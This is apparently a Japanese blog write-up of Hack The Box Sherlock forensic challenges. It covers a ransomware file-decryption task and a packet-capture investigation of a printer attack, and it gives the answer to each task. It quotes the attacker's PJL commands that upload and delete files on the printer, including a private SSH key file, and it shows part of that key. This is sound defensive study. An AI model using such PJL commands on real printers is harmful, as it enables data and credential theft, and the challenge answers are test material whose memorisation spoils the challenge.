それっぽい暗号化処理を探していくと、このような部分が見つかる。

fputc((int)"EncryptingC4Fun!"[lVar29] ^ uVar18,_File_00);

EncryptingC4Fun!でXORしているだけでは?ということで、
topsecret.png.xmaxについてEncryptingC4Fun!でXORするとpngファイルが復元できる。
中を見てみるとユニコーンの画像がTOP SECRETになっているので英語で答えると正答。
Unicorn

Task 9

Please confirm the process ID of the process that encrypted our files.
ファイルを暗号化したプロセスのプロセス ID を確認してください。

hayabusaでキーワード.xmaxで検索するとよく分からないイベントログが引っかかる。

2023-12-13 20:03:20.445 +09:00 ‖ DC01.northpole.local ‖ MS-Win-UAC-FileVirtualization/Op ‖ 4000 ‖ 42 ‖ - ‖ CreateOptions: 83886176 ¦ DesiredAccess: 1180054 ¦ FileNameBuffer: \Device\HarddiskVolume4\ProgramData\VMware\VMware VGAuth\vgauth.conf.xmax ¦ FileNameLength: 73 ¦ Flags: 8 ¦ IrpMajorFunction: 0 ¦ ProcessImageNameBuffer: \Device\HarddiskVolume4\Windows\System32\rundll32.exe ¦ ProcessImageNameLength: 53 ¦ Sid: S-1-5-21-555278382-3747106525-1010465941-1110 ¦ SidLength: 28 ‖ DC01.northpole.local-KAPE/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-UAC-FileVirtualization%254Operational.evtx

よくわからんから開いて、.xmaxで検索して、イベントログを見る。

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-UAC-FileVirtualization" Guid="{c02afc2b-e24e-4449-ad76-bcc2c2575ead}" /> 
  <EventID>4000</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T11:03:20.4382420Z" /> 
  <EventRecordID>37</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="5828" ThreadID="6480" /> 
  <Channel>Microsoft-Windows-UAC-FileVirtualization/Operational</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security UserID="S-1-5-21-555278382-3747106525-1010465941-1110" /> 
  </System>
- <EventData>
  <Data Name="Flags">8</Data> 
  <Data Name="SidLength">28</Data> 
  <Data Name="Sid">S-1-5-21-555278382-3747106525-1010465941-1110</Data> 
  <Data Name="FileNameLength">79</Data> 
  <Data Name="FileNameBuffer">\Device\HarddiskVolume4\ProgramData\VMware\VMware Tools\tools.conf.example.xmax</Data> 
  <Data Name="ProcessImageNameLength">53</Data> 
  <Data Name="ProcessImageNameBuffer">\Device\HarddiskVolume4\Windows\System32\rundll32.exe</Data> 
  <Data Name="CreateOptions">83886176</Data> 
  <Data Name="DesiredAccess">1180054</Data> 
  <Data Name="IrpMajorFunction">0</Data> 
  </EventData>
  </Event>

よくわからんけどProcessIDが書いてあって答えると正答だった。5828

https://learn.microsoft.com/ja-jp/windows-server/security/user-account-control/how-user-account-control-works
ファイル操作はUACによって仮想化が挟まるらしい。
なんもわからんが、これによってファイル操作に対してログが残るようになる。

Hack The Box Sherlocks - OpTinselTrace-4 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-4
Hack The Box Sherlocksとは

Sherlock Scenario

Printers are important in Santa’s workshops, but we haven’t really tried to secure them! The Grinch and his team of elite hackers may try and use this against us! Please investigate using the packet capture provided! The printer server IP Address is 192.168.68.128
プリンターはサンタさんのワークショップでは重要ですが、私たちはプリンターを確保しようとしていませんでした。グリンチと彼のエリートハッカーチームがこれを利用して私たちを攻撃しようとするかもしれません! 提供されているパケット キャプチャを使用して調査してください。プリンターサーバーのIPアドレスは192.168.68.128です。

2023年のSherlocksクリスマスイベント問題の4問目。
ネットワークパケットを解析する問題。

Tasks

Task 1

The performance of the network printer server has become sluggish, causing interruptions in the workflow at the North Pole workshop. Santa has directed us to generate a support request and examine the network data to pinpoint the source of the issue. He suspects that the Grinch and his group may be involved in this situation. Could you verify if there is an IP Address that is sending an excessive amount of traffic to the printer server?
ネットワーク プリンター サーバーのパフォーマンスが低下し、北極の作業場でのワークフローが中断されました。サンタさんは、サポート リクエストを作成し、ネットワーク データを調べて問題の原因を特定するように私たちに指示しました。彼は、グリンチとそのグループがこの状況に関与しているのではないかと疑っています。プリンタ サーバーに過剰な量のトラフィックを送信している IP アドレスがあるかどうかを確認していただけますか?

プリンターサーバーのIPアドレスは192.168.68.128です。

とあるので、ここに大量のトラフィックを送信しているIPアドレスを探せばいい。
WireSharkの「統計 > 対話」のIPv4を見てみよう。
すると172.17.79.133と192.168.68.128で多くの通信が見られる。
172.17.79.133が答え。

Task 2

Bytesparkle being the technical Lead, found traces of port scanning from the same IP identified in previous attack. Which port was then targeted for initial compromise of the printer?
技術リーダーである Bytesparkle は、以前の攻撃で特定されたのと同じ IP からのポート スキャンの痕跡を発見しました。では、プリンタの最初の侵害の標的となったのはどのポートでしょうか?

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)でフィルタリングして内容を見ていこう。
上から見ていくとpingの後、確かにポートスキャンっぽく複数ポートに接続している。
スキャンのあと9100/tcpで色々やっているので9100/tcpを攻撃することにしたのだろうと想像できる。
9100が答え。

Task 3

What is the full name of printer running on the server?
サーバー上で実行されているプリンターのフルネームは何ですか?

9100/tcpを調べると 9100番ポートはそのようなポート番号の一つで、コンピュータとネットワークプリンタがIPネットワーク上で通信するためのRAWプロトコルなどで利用される。 とのこと。
TCPストリーム28を追跡で見てみると、そこそこ視認できる情報がある。
プリンタ名っぽいやつを答えると正答 NorthPole HP LaserJet 4200n

Task 4

Grinch intercepted a list of nice and naughty children created by Santa. What was name of the second child on the nice list?
グリンチはサンタが作成した優しくていたずらな子供たちのリストを傍受しました。素敵なリストの 2 番目の子供の名前は何ですか?

Task 3を見てみるとリストが取得できている。

.%-12345X@PJL FSUPLOAD NAME="0:/christmas/2023/Nice-kids/list1.txt" OFFSET=0 SIZE=180
@PJL ECHO DELIMITER56482

.%-12345X@PJL FSUPLOAD FORMAT:BINARY NAME="0:/christmas/2023/Nice-kids/list1.txt" OFFSET=0 SIZE=180

    Jennifer Sanchez
    Douglas Price
    Joshua Ross
    Catherine Bailey
    Martha Clark
    Ruby Kelly
    Edward Parker
    Tammy James
    Lori Robinson
    Wayne Gonzales
@PJL ECHO DELIMITER56482

Rooting a Printer: From Security Bulletin to Remote Code Execution - Blog | Tenable®
これか、こういう攻撃があるのか。
2番目のDouglas Priceが答え。

Task 5

The Grinch obtained a print job instruction file intended for a printer used by an employee named Elfin. It appears that Santa and the North Pole management team have made the decision to dismiss Elfin. Could you please provide the word for word rationale behind the decision to terminate Elfin's employment?
グリンチは、エルフィンという名前の従業員が使用するプリンタを対象とした印刷ジョブ指示ファイルを入手しました。サンタと北極管理チームはエルフィンの解雇を決定したようだ。エルフィン氏の雇用終了の決定の根拠を一言一句説明していただけますか。

これもTask 3で得られた情報から答えることができる。

@PJL FSUPLOAD FORMAT:BINARY NAME="0:/saveDevice/SavedJobs/InProgress/Layoff-notice/Personal-Notice-Employee43.pcl" OFFSET=0 SIZE=696
<ESC>%-12345X@PJL JOB NAME="Elfin-Layoff"
@PJL ENTER LANGUAGE=PCL
<ESC>E                                      
<ESC>&l0E                                   
<ESC>(s1p12v0s3b16602T                      
<ESC>&a1L                                   
<ESC>*p150x300Y                             
<ESC>*c0t0b3T                               
Warning : This print is only meant for Elfin and higher management.

Reason for layoff : The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.

<ESC>&l2A                                      % Perform form feed to eject the page
@PJL EOJ NAME="MerryChristmasJob"
<ESC>%-12345X  @PJL ECHO DELIMITER19325

The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.が答え。

Task 6

What was the name of the scheduled print job?
スケジュールされた印刷ジョブの名前は何でしたか?

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)にフィルタリングを戻して再度確認すると、
TCPストリーム46がポート9100/tcpで残っている。
追跡で確認してみると、ScheduledJobsを確認している。
JOB NAME="MerryChristmas+BonusAnnouncment"というのを見て取ることができる。
MerryChristmas+BonusAnnouncmentが答え。

Task 7

Amidst our ongoing analysis of the current packet capture, the situation has escalated alarmingly. Our security system has detected signs of post-exploitation activities on a highly critical server, which was supposed to be secure with SSH key-only access. This development has raised serious concerns within the security team. While Bytesparkle is investigating the breach, he speculated that this security incident might be connected to the earlier printer issue. Could you determine and provide the complete path of the file on the printer server that enabled the Grinch to laterally move to this critical server?
現在のパケット キャプチャの分析を継続している最中に、状況は驚くほどエスカレートしています。当社のセキュリティ システムは、SSH キーのみのアクセスで安全であるはずの非常に重要なサーバー上でエクスプロイト後のアクティビティの兆候を検出しました。この展開により、セキュリティ チーム内に深刻な懸念が生じました。Bytesparkle はこの侵害を調査中ですが、このセキュリティ インシデントが以前のプリンターの問題に関連しているのではないかと推測しました。グリンチがこの重要なサーバーに横方向に移動できるようにした、プリンター サーバー上のファイルの完全なパスを特定して提供していただけますか?

Task 6の箇所の続きを見ると、SSH鍵がやり取りされているのを見ることができる。

@PJL FSUPLOAD FORMAT:BINARY NAME="0:/Administration/securitykeys/ssh_systems/id_rsa" OFFSET=0 SIZE=1914
#This is a backup key for christmas.gifts server. Bytesparkle recommended me this since in christmas days everything gets mixed up in all the chaos and we can lose our access keys to the server just like we did back in 2022 christmas.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2itnkTXlHEPgyuutXEm/vOWJCfRVt+VXhz0bLJaftUjl9phz
0cS+3qInP+JEkUyWOtkfDrxapQGOi1WASyup/Tk4HE+yQ6pPFSPCsFKZc4gPVIUF
SbhYAa+hw1FLRiWb3hXbLDjgvLXDySI39tq16jEvr/dRdIiajE4GJHGZ5/Pi+fum
LxwxKqSu4WS/LCAgC7kSIm7vgY2/bmf6sTgRC0uHHVJ68E6vDp2m+h38R3Kj/oL7
0x3VQNMgq835vH1nZkGIAwxy+7/bbXUccz+qeMOXBUHI1e3x7o5RpNwuW6JLhrDp
...

これより/Administration/securitykeys/ssh_systems/id_rsaと分かる。

Task 8

What is size of this file in bytes?
このファイルのサイズはバイト単位でいくらですか?

Task 7にSIZEも書いてあるので、それを答える 1914

Task 9

What was the hostname of the other compromised critical server?
侵害された他の重要なサーバーのホスト名は何でしたか?

Task 7のコメントに書いてある christmas.gifts

Task 10

When did the Grinch attempt to delete a file from the printer? (UTC)
グリンチはいつプリンターからファイルを削除しようとしましたか? (UTC

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)にフィルタリングを戻して三度確認すると、
TCPストリーム71がポート9100/tcpで残っている。
追跡で確認してみると、@PJL FSDELETE NAME="0:/Administration/securitykeys/ssh_systems/id_rsa"という実行が見つかる。
これはパケットのNo.3676であり、この時間を見ると2023-12-08 12:18:14が答え。
(日本語版だとJST,UTC+9になっているので9時間戻してUTCで答えること)